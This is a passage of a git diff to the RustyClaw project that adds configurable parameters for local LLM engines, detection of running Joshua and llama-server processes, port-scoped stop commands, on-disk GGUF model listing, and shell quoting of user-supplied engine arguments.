diff --git a/CHANGELOG.md b/CHANGELOG.md index f383f8f0..c08bbb5a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -9,6 +9,37 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Added +- **Configurable model-call deadline.** The gateway's per-turn model call + used a hard-coded 180s cap, which local engines on a loaded machine can + exceed while prefilling a large prompt (a single 2k-token prompt on a + busy CPU box took ~15 minutes here). `RUSTYCLAW_MODEL_TIMEOUT_SECS` + now overrides it (default stays 180), so local-model setups can give + turns the time they need instead of dying mid-prefill. + +- **Local model management in the UI: on-disk models in every picker, and + engine parameters.** The chat composer's model dropdown (desktop) and the + provider/model selectors (TUI) now show what is actually available locally + for the local engine providers — Joshua, llama.cpp, LM Studio, exo, Ollama + — even when the engine server is not running. The gateway's + `ProviderModelList` handler (and the TUI's beside-the-vault fetches) merge + the live API list with the engine registry's own model list; for the + file-based engines (Joshua, llama.cpp) that list is a scan of the models + directory, so a model only has to be on disk to be pickable. llama.cpp's + `list_models` gained the same on-disk scan. `EngineInfoDto` now carries the + engine's full `EngineConfig`, and the "Local Engines & Models" dialog + (desktop) gained a parameters editor per engine tab: context window + (`--n-ctx`/`--ctx-size`/`--num-ctx`), default model (picked from the local + model list), auto-start, and — for Joshua — device (`--device`), huge pages + (`--huge-pages`), `--mmap`, `--lazy-weights`, `--max-output-tokens` and + `--max-concurrency`. The TUI `/engines` panel got the same editor as a + keyboard-driven mode (p to edit, +/- adjust, x clear, Enter saves via + `EngineConfigSet`, which persists to config.toml). Parameters apply on the + next engine start or model load; per-load context overrides for Joshua now + map to `--n-ctx`. New `EngineConfig` fields are optional and defaulted, so + existing configs parse unchanged. + +### Added + - **Messenger-kind registry (plugin architecture, `docs/PLUGIN_ARCHITECTURE.md` §14).** Messenger backends had the pre-phase-0 tool shape: a static schema table beside a hardcoded factory `match` in the gateway, plus a `cfg!` diff --git a/config.example.toml b/config.example.toml index fa40316f..25f1e2e4 100644 --- a/config.example.toml +++ b/config.example.toml @@ -78,9 +78,11 @@ use_secrets = true # models = ["qwen3-coder-30b", "llama-3.3-70b"] # optional; /v1/models is also queried # ── Local inference engines ─────────────────────────────────────────────── -# Engines are managed from the TUI /engines panel (install/start/stop/pull). -# Joshua (https://github.com/rexlunae/joshua) is a pure-Rust GGUF server: -# one process serves one model, picked from models_dir at startup. +# Engines are managed from the TUI /engines panel (install/start/stop/pull) +# and the desktop "Local Engines & Models" dialog (which also edits the +# parameters below). Joshua (https://github.com/rexlunae/joshua) is a +# pure-Rust GGUF server: one process serves one model, picked from models_dir +# at startup. # # [engines.joshua] # enabled = true @@ -88,6 +90,14 @@ use_secrets = true # models_dir = "/home/user/.rustyclaw/models/joshua" # default_model = "qwen3-4b-Q4_K_M" # GGUF file stem to serve # auto_start = true # start with the gateway +# context_length = 8192 # --n-ctx (joshua/llama.cpp/ollama) +# device = "auto" # joshua --device: auto|cpu|metal|cuda +# huge_pages = "off" # joshua --huge-pages: off|transparent|2mb|1gb|huge +# mmap = false # joshua --mmap: require a memory-mappable model +# lazy_weights = false # joshua --lazy-weights: optimise for huge models +# max_output_tokens = 4096 # joshua --max-output-tokens +# max_concurrency = 8 # joshua --max-concurrency +# extra_args = [] # any other flags, passed verbatim # # [engines.ollama] # enabled = true diff --git a/crates/rustyclaw-core/src/engines/downloaders.rs b/crates/rustyclaw-core/src/engines/downloaders.rs index 8208ff8f..deaf6b3a 100644 --- a/crates/rustyclaw-core/src/engines/downloaders.rs +++ b/crates/rustyclaw-core/src/engines/downloaders.rs @@ -149,7 +149,7 @@ impl LocalEngine for HuggingFaceDownloader { anyhow::bail!("The Hugging Face CLI is a downloader tool, not a server — nothing to start.") } - async fn stop(&self) -> Result { + async fn stop(&self, _cfg: &EngineConfig) -> Result { anyhow::bail!("The Hugging Face CLI is a downloader tool, not a server — nothing to stop.") } diff --git a/crates/rustyclaw-core/src/engines/exo.rs b/crates/rustyclaw-core/src/engines/exo.rs index 7e005dc9..d4ea3180 100644 --- a/crates/rustyclaw-core/src/engines/exo.rs +++ b/crates/rustyclaw-core/src/engines/exo.rs @@ -156,7 +156,7 @@ impl LocalEngine for ExoEngine { } } - async fn stop(&self) -> Result { + async fn stop(&self, _cfg: &EngineConfig) -> Result { Self::sh("pkill -f 'exo' 2>/dev/null; echo 'stopped'").await } diff --git a/crates/rustyclaw-core/src/engines/joshua.rs b/crates/rustyclaw-core/src/engines/joshua.rs index f3b3f7f3..1750cb69 100644 --- a/crates/rustyclaw-core/src/engines/joshua.rs +++ b/crates/rustyclaw-core/src/engines/joshua.rs @@ -86,6 +86,32 @@ impl JoshuaEngine { .unwrap_or_default() } + /// `(model name, port)` for every `joshua serve` process running on the + /// host — including servers started manually outside RustyClaw — so the + /// UI can show which models are actually running. Best-effort (Linux); + /// empty elsewhere. + async fn running_servers() -> Vec<(String, Option)> { + let lines = crate::engines::running_server_cmdlines("joshua serve").await; + crate::engines::parse_server_cmdlines(&lines, &["--model", "-m"], &["--addr", "-a"], 8080) + } + + /// The endpoint the engine should actually talk to: the configured one + /// when it answers, otherwise the first `joshua serve` detected on the + /// host — so the engine genuinely reaches a joshua that was started + /// outside RustyClaw instead of pretending it is unreachable. + async fn effective_endpoint(cfg: &EngineConfig) -> String { + let configured = Self::endpoint(cfg); + if Self::is_running(&configured).await { + return configured; + } + Self::running_servers() + .await + .first() + .and_then(|(_, port)| *port) + .map(|port| format!("http://127.0.0.1:{}", port)) + .unwrap_or(configured) + } + async fn sh(script: &str) -> Result { let output = tokio::process::Command::new("sh") .arg("-c") @@ -109,22 +135,37 @@ impl JoshuaEngine { /// Start `joshua serve` for the given GGUF file. async fn spawn_server(cfg: &EngineConfig, model_path: &Path) -> Result { + if !Self::is_installed().await { + anyhow::bail!( + "joshua is not installed. Install it from the engines dialog, or \ + `cargo install --git https://github.com/rexlunae/joshua joshua`." + ); + } let port = cfg.port.unwrap_or(DEFAULT_PORT); let mut cmd = format!( - "nohup joshua serve --model '{}' --addr 127.0.0.1:{}", - model_path.display(), + "nohup joshua serve --model {} --addr 127.0.0.1:{}", + sh_quote(&model_path.display().to_string()), port ); + // Typed parameters (context window, device, huge pages, …) become + // flags first; raw extra_args come after so an explicit flag in + // extra_args still wins (clap takes the last occurrence). Every + // extra_arg is sh_quoted: they are client-supplied strings that + // reach a `sh -c` command line, so metacharacters must stay inert. + for arg in joshua_serve_flags(cfg) { + cmd.push(' '); + cmd.push_str(&arg); + } for arg in &cfg.extra_args { cmd.push(' '); - cmd.push_str(arg); + cmd.push_str(&sh_quote(arg)); } cmd.push_str(" > /dev/null 2>&1 &"); Self::sh(&cmd).await.ignore(); // GGUF loading is mmap-based and fast, but give it a moment. let endpoint = Self::endpoint(cfg); - for _ in 0..10 { + for _ in 0..20 { tokio::time::sleep(std::time::Duration::from_millis(500)).await; if Self::is_running(&endpoint).await { return Ok(format!( @@ -137,7 +178,55 @@ impl JoshuaEngine { )); } } - Ok("joshua start command issued; the model may still be loading.".into()) + // The server has not answered yet. Distinguish a model that is + // still loading (process alive) from one that failed outright + // (process gone): the former is not an error — large models can + // take minutes to come up on a busy machine — while the latter + // deserves a real error with a way forward. + #[cfg(target_os = "linux")] + { + if Self::server_process_alive(port).await { + return Ok(format!( + "joshua start command issued; the model may still be loading on {}.", + endpoint + )); + } + anyhow::bail!( + "joshua serve did not answer on {} and its process exited — the model file may \ + be invalid or joshua failed at load. Run `joshua serve --model '{}'` manually \ + to see the error.", + endpoint, + model_path.display() + ) + } + // No process inspection on this platform: a slow load must not be + // reported as a failure just because we cannot tell it apart from a + // crashed process. + #[cfg(not(target_os = "linux"))] + return Ok(format!( + "joshua start command issued; the model may still be loading on {}.", + endpoint + )); + } + + /// Whether a `joshua serve` process for the given port is still running + /// (best-effort; Linux only). Used to tell "still loading" apart from + /// "crashed" when the health probe has not answered yet. The port match + /// must terminate the digit run, so 808 does not match a server on 8080. + #[cfg(target_os = "linux")] + async fn server_process_alive(port: u16) -> bool { + let needle = format!("127.0.0.1:{}", port); + crate::engines::running_server_cmdlines("joshua serve") + .await + .iter() + .any(|line| { + line.match_indices(&needle).any(|(end, _)| { + line[end..] + .chars() + .next() + .is_none_or(|c| !c.is_ascii_digit()) + }) + }) } } @@ -150,32 +239,6 @@ pub fn default_models_dir() -> PathBuf { .join("joshua") } -/// Scan a directory (recursively, one level of subdirectories) for GGUF files. -pub fn scan_gguf_models(dir: &Path) -> Vec { - let mut found = Vec::new(); - let Ok(entries) = std::fs::read_dir(dir) else { - return found; - }; - for entry in entries.flatten() { - let path = entry.path(); - if path.is_dir() { - // HF downloads land in per-repo subdirectories. - if let Ok(sub) = std::fs::read_dir(&path) { - for sub_entry in sub.flatten() { - let sub_path = sub_entry.path(); - if sub_path.extension().is_some_and(|e| e == "gguf") { - found.push(sub_path); - } - } - } - } else if path.extension().is_some_and(|e| e == "gguf") { - found.push(path); - } - } - found.sort(); - found -} - /// Resolve which GGUF file to serve, in priority order: /// 1. an explicit `--model ` in `extra_args`, /// 2. the configured `default_model` (matched against file stems), @@ -287,6 +350,8 @@ impl LocalEngine for JoshuaEngine { let presence = self.detect().await; let endpoint = Self::endpoint(cfg); let available = scan_gguf_models(&Self::models_dir(cfg)).len() as u32; + let configured_port = cfg.port.unwrap_or(DEFAULT_PORT); + let detected = Self::running_servers().await; let run_status = if Self::is_running(&endpoint).await { let loaded = Self::loaded_model_ids(&endpoint).await.len() as u32; @@ -295,7 +360,26 @@ impl LocalEngine for JoshuaEngine { loaded_models: loaded, available_models: available.max(loaded), } + } else if let Some((_, port)) = detected + .iter() + .find(|(_, port)| *port == Some(configured_port)) + { + // A joshua server on the engine's own configured port is running + // (e.g. started manually outside RustyClaw): report it so the + // UI's lifecycle gating stays tied to this engine's server. + let detected_endpoint = port + .map(|port| format!("http://127.0.0.1:{}", port)) + .unwrap_or(endpoint); + let loaded = detected.len() as u32; + EngineRunStatus::Running { + endpoint: detected_endpoint, + loaded_models: loaded, + available_models: available.max(loaded), + } } else { + // Joshua servers on *other* ports belong to someone else: the + // engine itself is not running, and reporting Running would hide + // the Start button while Stop could not touch that server. EngineRunStatus::Stopped }; @@ -331,21 +415,55 @@ impl LocalEngine for JoshuaEngine { if Self::is_running(&endpoint).await { return Ok("joshua is already running.".into()); } + // Only a server on this engine's own port counts as "already + // running": a joshua started outside RustyClaw on another port must + // not prevent the configured server from starting. + let configured_port = cfg.port.unwrap_or(DEFAULT_PORT); + if let Some((_, port)) = Self::running_servers() + .await + .iter() + .find(|(_, port)| *port == Some(configured_port)) + { + return Ok(format!( + "joshua is already running on port {} (detected outside RustyClaw). \ + Stop it manually or choose another port for this engine.", + port.unwrap_or(configured_port) + )); + } let model_path = resolve_model_path(cfg)?; Self::spawn_server(cfg, &model_path).await } - async fn stop(&self) -> Result { - Self::sh("pkill -f 'joshua serve' 2>/dev/null; echo 'stopped'").await + async fn stop(&self, cfg: &EngineConfig) -> Result { + // Scoped to the configured port: `pkill -f 'joshua serve'` would + // also kill servers started manually on other ports. The pattern + // terminates the digit run (`( |$)`), so a short port such as 808 + // cannot match a server running on 8080. + let port = cfg.port.unwrap_or(DEFAULT_PORT); + Self::sh(&format!( + "pkill -f 'joshua serve .*127.0.0.1:{}( |$)' 2>/dev/null; echo 'stopped'", + port + )) + .await } async fn list_models(&self, cfg: &EngineConfig) -> Result> { - let endpoint = Self::endpoint(cfg); - let loaded_ids = if Self::is_running(&endpoint).await { + // Talk to the configured endpoint when it answers, otherwise to the + // first server detected on the host — the loaded set should reflect + // the joshua the engine can actually reach. + let endpoint = Self::effective_endpoint(cfg).await; + let mut loaded_ids = if Self::is_running(&endpoint).await { Self::loaded_model_ids(&endpoint).await } else { Vec::new() }; + // Mark models served by running joshua processes (even ones started + // outside RustyClaw) as loaded, so the UI shows what is running. + for (name, _) in Self::running_servers().await { + if !loaded_ids.iter().any(|id| id == &name) { + loaded_ids.push(name); + } + } let dir = Self::models_dir(cfg); let mut models: Vec = scan_gguf_models(&dir) @@ -477,21 +595,40 @@ impl LocalEngine for JoshuaEngine { let path = find_model_file(&dir, model) .ok_or_else(|| anyhow::anyhow!("Model '{}' not found in {}", model, dir.display()))?; + // "Already loaded" means the server the engine actually talks to + // (the configured endpoint) serves this model — a joshua started + // outside RustyClaw on another port must not make Load claim + // success while the configured server has nothing loaded. let endpoint = Self::endpoint(cfg); if Self::is_running(&endpoint).await { let already = Self::loaded_model_ids(&endpoint).await; if already.iter().any(|id| id == model) { return Ok(format!("Model '{}' is already loaded", model)); } - self.stop().await.ignore(); + self.stop(cfg).await.ignore(); tokio::time::sleep(std::time::Duration::from_millis(500)).await; } Self::spawn_server(cfg, &path).await } - async fn unload(&self, model: &str, _cfg: &EngineConfig) -> Result { + async fn unload(&self, model: &str, cfg: &EngineConfig) -> Result { + // A model served by a joshua started outside RustyClaw is not ours + // to kill — stopping it would surprise the person who started it. + let configured_port = cfg.port.unwrap_or(DEFAULT_PORT); + if let Some((_, port)) = Self::running_servers() + .await + .iter() + .find(|(n, p)| n == model && *p != Some(configured_port)) + { + anyhow::bail!( + "Model '{}' is served by a joshua started outside RustyClaw (port {}). \ + Stop it manually to unload it.", + model, + port.unwrap_or(8080) + ); + } // One process serves one model: unloading stops the server. - self.stop().await.ignore(); + self.stop(cfg).await.ignore(); Ok(format!("Model '{}' unloaded (joshua stopped)", model)) } diff --git a/crates/rustyclaw-core/src/engines/llamacpp.rs b/crates/rustyclaw-core/src/engines/llamacpp.rs index 1b8410c6..45ee2ffc 100644 --- a/crates/rustyclaw-core/src/engines/llamacpp.rs +++ b/crates/rustyclaw-core/src/engines/llamacpp.rs @@ -21,6 +21,14 @@ impl LlamaCppEngine { }) } + /// `(model name, port)` for every `llama-server` process running on the + /// host — including ones started manually outside RustyClaw. Best-effort + /// (Linux); empty elsewhere. + async fn running_servers() -> Vec<(String, Option)> { + let lines = crate::engines::running_server_cmdlines("llama-server").await; + crate::engines::parse_server_cmdlines(&lines, &["--model", "-m"], &["--port"], 8080) + } + async fn api(endpoint: &str, method: &str, path: &str, body: Option<&Value>) -> Result { let url = format!("{}{}", endpoint, path); let client = reqwest::Client::new(); @@ -116,6 +124,8 @@ impl LocalEngine for LlamaCppEngine { async fn status(&self, cfg: &EngineConfig) -> EngineStatus { let presence = self.detect().await; let endpoint = Self::endpoint(cfg); + let configured_port = cfg.port.unwrap_or(8080); + let detected = Self::running_servers().await; let run_status = if !presence.installed { EngineRunStatus::Stopped @@ -132,7 +142,26 @@ impl LocalEngine for LlamaCppEngine { loaded_models: available, // llama-server only shows loaded models available_models: available, } + } else if let Some((_, port)) = detected + .iter() + .find(|(_, port)| *port == Some(configured_port)) + { + // A llama-server on the engine's own configured port is running + // (e.g. started manually outside RustyClaw): report it so the + // UI's lifecycle gating stays tied to this engine's server. + let detected_endpoint = port + .map(|port| format!("http://127.0.0.1:{}", port)) + .unwrap_or(endpoint); + let loaded = detected.len() as u32; + EngineRunStatus::Running { + endpoint: detected_endpoint, + loaded_models: loaded, + available_models: loaded, + } } else { + // llama-server processes on *other* ports belong to someone + // else: this engine is not running, and reporting Running would + // hide the Start button while Stop could not touch that server. EngineRunStatus::Stopped }; @@ -186,11 +215,18 @@ impl LocalEngine for LlamaCppEngine { let port = cfg.port.unwrap_or(8080); let mut cmd = format!("nohup llama-server --port {}", port); if let Some(ref dir) = cfg.models_dir { - cmd.push_str(&format!(" --models-dir '{}'", dir)); + cmd.push_str(&format!(" --models-dir {}", sh_quote(dir))); + } + // The typed context window applies to manual starts too (it already + // applies to auto-start via `engine_start_command`). + if let Some(ctx) = cfg.context_length { + cmd.push_str(&format!(" --ctx-size {}", ctx)); } for arg in &cfg.extra_args { cmd.push(' '); - cmd.push_str(arg); + // extra_args are client-supplied strings reaching a `sh -c` + // command line — quote them so metacharacters stay inert. + cmd.push_str(&crate::engines::sh_quote(arg)); } cmd.push_str(" > /dev/null 2>&1 &"); Self::sh(&cmd).await.ignore(); @@ -202,38 +238,125 @@ impl LocalEngine for LlamaCppEngine { } } - async fn stop(&self) -> Result { - Self::sh("pkill -f 'llama-server' 2>/dev/null; echo 'stopped'").await + /// `cfg` is only read inside the Linux block (process inspection); the + /// non-Linux fallback ignores it. + #[cfg_attr(not(target_os = "linux"), allow(unused_variables))] + async fn stop(&self, cfg: &EngineConfig) -> Result { + // Scoped to the configured port: `pkill -f 'llama-server'` would + // also kill servers started manually on other ports. Report what + // actually happened instead of always claiming success. The pattern + // terminates the digit run (`( |$)`), so a short port such as 1234 + // cannot match a server running on 12345. + #[cfg(target_os = "linux")] + { + let port = cfg.port.unwrap_or(8080); + let pattern = format!("llama-server .*--port {}( |$)", port); + let running = crate::engines::running_server_cmdlines(&pattern) + .await + .iter() + .any(|line| line.contains("llama-server")); + if !running { + return Ok(format!( + "no llama-server is running on port {} (nothing to stop)", + port + )); + } + return Self::sh(&format!( + "pkill -f '{}' 2>/dev/null; echo 'stopped'", + pattern + )) + .await; + } + // No process inspection on this platform: fall back to stopping + // every llama-server rather than claiming success while one runs. + #[cfg(not(target_os = "linux"))] + { + Self::sh("pkill -f 'llama-server' 2>/dev/null; echo 'stopped'").await + } } async fn list_models(&self, cfg: &EngineConfig) -> Result> { + // A running llama-server reports only the model it is serving. For + // "what is available locally" we merge in every GGUF in the models + // directory (configured `models_dir`, or the llama.cpp cache dir), + // so models on disk show up even before the server is started. + let mut names: Vec = Vec::new(); + let mut loaded: Vec = Vec::new(); let endpoint = Self::endpoint(cfg); - let resp = Self::api(&endpoint, "GET", "/v1/models", None).await?; - let parsed: Value = serde_json::from_str(&resp)?; - let models = parsed - .get("data") - .and_then(|d| d.as_array()) - .cloned() - .unwrap_or_default(); - - Ok(models - .iter() - .map(|m| { - let name = m - .get("id") - .and_then(|n| n.as_str()) - .unwrap_or("?") - .to_string(); + if let Ok(resp) = Self::api(&endpoint, "GET", "/v1/models", None).await { + if let Ok(parsed) = serde_json::from_str::(&resp) { + if let Some(arr) = parsed.get("data").and_then(|d| d.as_array()) { + for m in arr { + if let Some(id) = m.get("id").and_then(|n| n.as_str()) { + names.push(id.to_string()); + loaded.push(id.to_string()); + } + } + } + } + } + // Mark models served by running llama-server processes (even ones + // started outside RustyClaw) as loaded. + for (name, _) in Self::running_servers().await { + if !loaded.iter().any(|l| l == &name) { + loaded.push(name); + } + } + + let models_dir = cfg.models_dir.clone().unwrap_or_else(|| { + dirs::cache_dir() + .unwrap_or_else(|| std::path::PathBuf::from("/tmp")) + .join("llama.cpp") + .to_string_lossy() + .to_string() + }); + // (name, path) for every GGUF on disk, deduped against the API list. + let mut on_disk: Vec<(String, std::path::PathBuf)> = Vec::new(); + for path in crate::engines::scan_gguf_models(std::path::Path::new(&models_dir)) { + let name = path + .file_stem() + .map(|s| s.to_string_lossy().to_string()) + .unwrap_or_else(|| path.display().to_string()); + if !names.iter().any(|n| n == &name) { + names.push(name.clone()); + on_disk.push((name, path)); + } + } + // A model served by a running llama-server may live outside the + // scanned models dir (e.g. started manually with an explicit + // `--model /elsewhere/foo.gguf` while the API is unreachable from + // the configured endpoint). It is loaded, so it must appear in the + // list — like Joshua's list_models, surface any loaded id that the + // scan did not produce. + for name in &loaded { + if !names.iter().any(|n| n == name) { + names.push(name.clone()); + } + } + + Ok(names + .into_iter() + .map(|name| { + let is_loaded = loaded.iter().any(|l| l == &name); + let (size_bytes, modified_at) = on_disk + .iter() + .find(|(n, _)| n == &name) + .and_then(|(_, p)| std::fs::metadata(p).ok()) + .map(|m| (m.len(), m.modified().ok())) + .unwrap_or((0, None)); + let modified_at = modified_at + .and_then(|t| t.duration_since(std::time::UNIX_EPOCH).ok()) + .map(|d| d.as_secs().to_string()); LocalModel { name, - size_bytes: 0, + size_bytes, quantization: None, context_length: None, - loaded: true, // if listed by llama-server, it's loaded + loaded: is_loaded, vram_bytes: None, family: None, format: Some("gguf".into()), - modified_at: None, + modified_at, } }) .collect()) @@ -311,17 +434,38 @@ impl LocalEngine for LlamaCppEngine { .to_string_lossy() .to_string() }); - Self::sh(&format!( - "rm -f {} 2>&1", - sh_quote(&format!("{}/{}", models_dir, model)) - )) - .await + // `list_models` names on-disk GGUFs by their file stem (no .gguf + // extension, possibly inside a per-repo subdirectory), so resolve + // the name back to the actual scanned path before deleting — a bare + // `rm -f {dir}/{model}` would point at nothing and silently report + // success while the file stays on disk. + let dir = std::path::Path::new(&models_dir); + let matched = crate::engines::scan_gguf_models(dir).into_iter().find(|p| { + p.file_stem().is_some_and(|s| s.to_string_lossy() == model) + || p.file_name().is_some_and(|s| s.to_string_lossy() == model) + }); + let Some(path) = matched else { + anyhow::bail!( + "Model '{}' not found in {} (available: {})", + model, + models_dir, + crate::engines::scan_gguf_models(dir) + .iter() + .filter_map(|p| p.file_stem().map(|s| s.to_string_lossy().to_string())) + .collect::>() + .join(", ") + ); + }; + std::fs::remove_file(&path)?; + Ok(format!("Removed {}", path.display())) } async fn load(&self, model: &str, cfg: &EngineConfig) -> Result { let endpoint = Self::endpoint(cfg); - // P6: Extract per-model knobs from extra_args. + // Per-model knobs: an explicit `--ctx-size` in extra_args (the + // gateway's per-load override rides here) wins; otherwise the + // persisted typed context window applies. let mut ctx_size: Option = None; let mut i = 0; while i < cfg.extra_args.len() { @@ -334,6 +478,9 @@ impl LocalEngine for LlamaCppEngine { i += 1; } } + if ctx_size.is_none() { + ctx_size = cfg.context_length; + } let mut body = serde_json::json!({ "model": model }); if let Some(n) = ctx_size { diff --git a/crates/rustyclaw-core/src/engines/lmstudio.rs b/crates/rustyclaw-core/src/engines/lmstudio.rs index 85630b55..0bdae799 100644 --- a/crates/rustyclaw-core/src/engines/lmstudio.rs +++ b/crates/rustyclaw-core/src/engines/lmstudio.rs @@ -89,7 +89,7 @@ impl LocalEngine for LmStudioEngine { anyhow::bail!("LM Studio manages its own lifecycle; start it from the app") } - async fn stop(&self) -> Result { + async fn stop(&self, _cfg: &EngineConfig) -> Result { anyhow::bail!("LM Studio manages its own lifecycle; stop it from the app") } @@ -103,6 +103,9 @@ impl LocalEngine for LmStudioEngine { .cloned() .unwrap_or_default(); + // Modern LM Studio's `/v1/models` lists downloaded models, not just + // the one currently resident in memory — there is no way to tell + // what is loaded from the API, so never claim "running". Ok(models .iter() .map(|m| { @@ -116,7 +119,7 @@ impl LocalEngine for LmStudioEngine { size_bytes: 0, quantization: None, context_length: None, - loaded: true, + loaded: false, vram_bytes: None, family: None, format: None, diff --git a/crates/rustyclaw-core/src/engines/mod.rs b/crates/rustyclaw-core/src/engines/mod.rs index d9bcd092..e9709822 100644 --- a/crates/rustyclaw-core/src/engines/mod.rs +++ b/crates/rustyclaw-core/src/engines/mod.rs @@ -18,6 +18,7 @@ use crate::ignore::Ignore; use anyhow::Result; use serde::{Deserialize, Serialize}; use std::fmt; +use std::path::{Path, PathBuf}; // ── Core types ────────────────────────────────────────────────────────────── @@ -56,7 +57,13 @@ pub struct EngineStatus { } /// Per-engine configuration (stored in Config.engines). -#[derive(Debug, Clone, Serialize, Deserialize)] +/// +/// The typed fields below (context window, device, …) are the parameters the +/// UI exposes per engine; each engine maps them to its own CLI flags. They +/// are separate from `extra_args` so the UI can round-trip them without +/// parsing flag strings. `extra_args` remains the escape hatch for anything +/// the typed fields don't cover. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] pub struct EngineConfig { /// Whether this engine is enabled. #[serde(default = "default_true")] @@ -80,12 +87,54 @@ pub struct EngineConfig { /// process (e.g. Joshua). Matched against model names from `list_models`. #[serde(default)] pub default_model: Option, + /// Context window override in tokens. Engine flags: Joshua `--n-ctx`, + /// llama.cpp `--ctx-size`, Ollama `--num-ctx` (load-time knob). + #[serde(default)] + pub context_length: Option, + /// Compute backend for engines that accept one (Joshua `--device`; + /// `auto`, `cpu`, `metal`, `cuda`). + #[serde(default)] + pub device: Option, + /// Huge-page strategy (Joshua `--huge-pages`; `off`, `transparent`, + /// `2mb`, `1gb`, `huge`). + #[serde(default)] + pub huge_pages: Option, + /// Require the model file to be memory-mappable (Joshua `--mmap`). + #[serde(default)] + pub mmap: bool, + /// Optimise the mapping for a model far larger than RAM (Joshua + /// `--lazy-weights`). + #[serde(default)] + pub lazy_weights: bool, + /// Hard ceiling on tokens generated per request (Joshua + /// `--max-output-tokens`). + #[serde(default)] + pub max_output_tokens: Option, + /// Maximum concurrent generations/embeddings (Joshua + /// `--max-concurrency`). + #[serde(default)] + pub max_concurrency: Option, } fn default_true() -> bool { true } +/// Validate a client-supplied [`EngineConfig`] before it is persisted. +/// +/// The typed fields that reach a shell command line are validated here +/// (the same spirit as the `device`/`huge_pages` allow-list in +/// [`joshua_serve_flags`]): the port feeds `pgrep`/`pkill` regex patterns +/// on the stop paths, and rejecting a value that cannot be a real server +/// port keeps that safety structural instead of relying on the field's type +/// alone. Extend this as new shell-reaching fields are added. +pub fn validate_engine_config(cfg: &EngineConfig) -> Result<(), String> { + if cfg.port == Some(0) { + return Err("engine port must be between 1 and 65535".to_string()); + } + Ok(()) +} + impl Default for EngineConfig { fn default() -> Self { Self { @@ -96,6 +145,13 @@ impl Default for EngineConfig { auto_start: false, extra_args: Vec::new(), default_model: None, + context_length: None, + device: None, + huge_pages: None, + mmap: false, + lazy_weights: false, + max_output_tokens: None, + max_concurrency: None, } } } @@ -441,8 +497,10 @@ pub trait LocalEngine: Send + Sync { /// Start the engine process. async fn start(&self, cfg: &EngineConfig) -> Result; - /// Stop the engine process. - async fn stop(&self) -> Result; + /// Stop the engine process. Receives the config so engines can scope + /// the stop to their own server (port/endpoint) instead of killing + /// every matching process on the host. + async fn stop(&self, cfg: &EngineConfig) -> Result; /// List models available to this engine. async fn list_models(&self, cfg: &EngineConfig) -> Result>; @@ -509,6 +567,338 @@ impl Default for EngineRegistry { // ── Service integration ───────────────────────────────────────────────────── +/// Scan a directory (recursively, one level of subdirectories) for GGUF files. +/// +/// Shared by the file-based engines (Joshua, llama.cpp) whose "local models" +/// are GGUF files on disk; Hugging Face downloads land in per-repo +/// subdirectories, hence the one-level recursion. +pub fn scan_gguf_models(dir: &Path) -> Vec { + let mut found = Vec::new(); + let Ok(entries) = std::fs::read_dir(dir) else { + return found; + }; + for entry in entries.flatten() { + let path = entry.path(); + if path.is_dir() { + if let Ok(sub) = std::fs::read_dir(&path) { + for sub_entry in sub.flatten() { + let sub_path = sub_entry.path(); + if sub_path.extension().is_some_and(|e| e == "gguf") { + found.push(sub_path); + } + } + } + } else if path.extension().is_some_and(|e| e == "gguf") { + found.push(path); + } + } + found.sort(); + found +} + +/// Command lines of running processes matching `pattern` (Linux only, +/// best-effort). Used by the file-based engines to report servers that are +/// already running on the host — including ones started manually outside +/// RustyClaw — so the UI can say *which models are running* rather than only +/// what the configured endpoint answers. +#[cfg_attr(not(target_os = "linux"), allow(unused_variables))] +pub async fn running_server_cmdlines(pattern: &str) -> Vec { + #[cfg(target_os = "linux")] + { + if let Ok(output) = tokio::process::Command::new("pgrep") + .args(["-af", pattern]) + .output() + .await + { + if output.status.success() { + return String::from_utf8_lossy(&output.stdout) + .lines() + .map(str::to_string) + // Exclude the pgrep process itself (its own cmdline + // contains the pattern). + .filter(|l| !l.contains("pgrep")) + .collect(); + } + } + } + Vec::new() +} + +/// Parse engine-server command lines (from [`running_server_cmdlines`]) +/// into `(model_name, port)` pairs. +/// +/// Understands `--model/-m ` (and `--flag=value` forms) for the model, +/// and the given port flags (e.g. `--addr host:port` for joshua, +/// `--port N` for llama-server). Both the real server process and the +/// `sh -c "nohup …"` wrapper that spawned it match the pgrep pattern, so +/// results are deduped by model name. +pub(crate) fn parse_server_cmdlines( + lines: &[String], + model_flags: &[&str], + port_flags: &[&str], + default_port: u16, +) -> Vec<(String, Option)> { + fn clean_token(tok: &str) -> String { + tok.trim_matches(|c| c == '\'' || c == '"').to_string() + } + + fn port_from(token: &str) -> Option { + let token = token.trim_matches(|c| c == '\'' || c == '"'); + // "host:port" or bare "port". + token + .rsplit_once(':') + .map(|(_, p)| p) + .unwrap_or(token) + .parse() + .ok() + } + + let mut out: Vec<(String, Option)> = Vec::new(); + for line in lines { + let line = line.trim(); + if line.is_empty() { + continue; + } + // The line is " "; drop the pid. + let toks: Vec<&str> = line.split_whitespace().skip(1).collect(); + let mut model: Option = None; + let mut port: Option = None; + let mut i = 0; + while i < toks.len() { + let tok = toks[i]; + if model_flags.contains(&tok) { + if let Some(v) = toks.get(i + 1) { + model = Some(clean_token(v)); + i += 2; + continue; + } + } + if port_flags.contains(&tok) { + if let Some(v) = toks.get(i + 1) { + port = port_from(v).or(port); + i += 2; + continue; + } + } + // --flag=value forms. + if let Some((flag, val)) = tok.split_once('=') { + if model_flags.contains(&flag) { + model = Some(clean_token(val)); + } else if port_flags.contains(&flag) { + port = port_from(val).or(port); + } + } + i += 1; + } + if let Some(path) = model { + let name = Path::new(&path) + .file_stem() + .map(|s| s.to_string_lossy().to_string()) + .unwrap_or_else(|| path.clone()); + if !out.iter().any(|(n, _)| *n == name) { + out.push((name, port)); + } + } + } + if out.is_empty() { + out + } else { + // Fill unparsed ports with the engine's default so callers can + // report a usable endpoint. + out.into_iter() + .map(|(n, p)| (n, p.or(Some(default_port)))) + .collect() + } +} + +/// CLI flags for a Joshua server derived from the typed [`EngineConfig`] +/// parameter fields. `extra_args` is appended by the caller, so a raw +/// `--n-ctx`/`--device`/… in `extra_args` still wins (it comes later on the +/// command line and Joshua's clap takes the last occurrence). +pub fn joshua_serve_flags(cfg: &EngineConfig) -> Vec { + let mut flags = Vec::new(); + if let Some(ctx) = cfg.context_length { + flags.push("--n-ctx".into()); + flags.push(ctx.to_string()); + } + // Device and huge-pages are free-form config strings that end up in a + // shell command; only emit them for the values Joshua 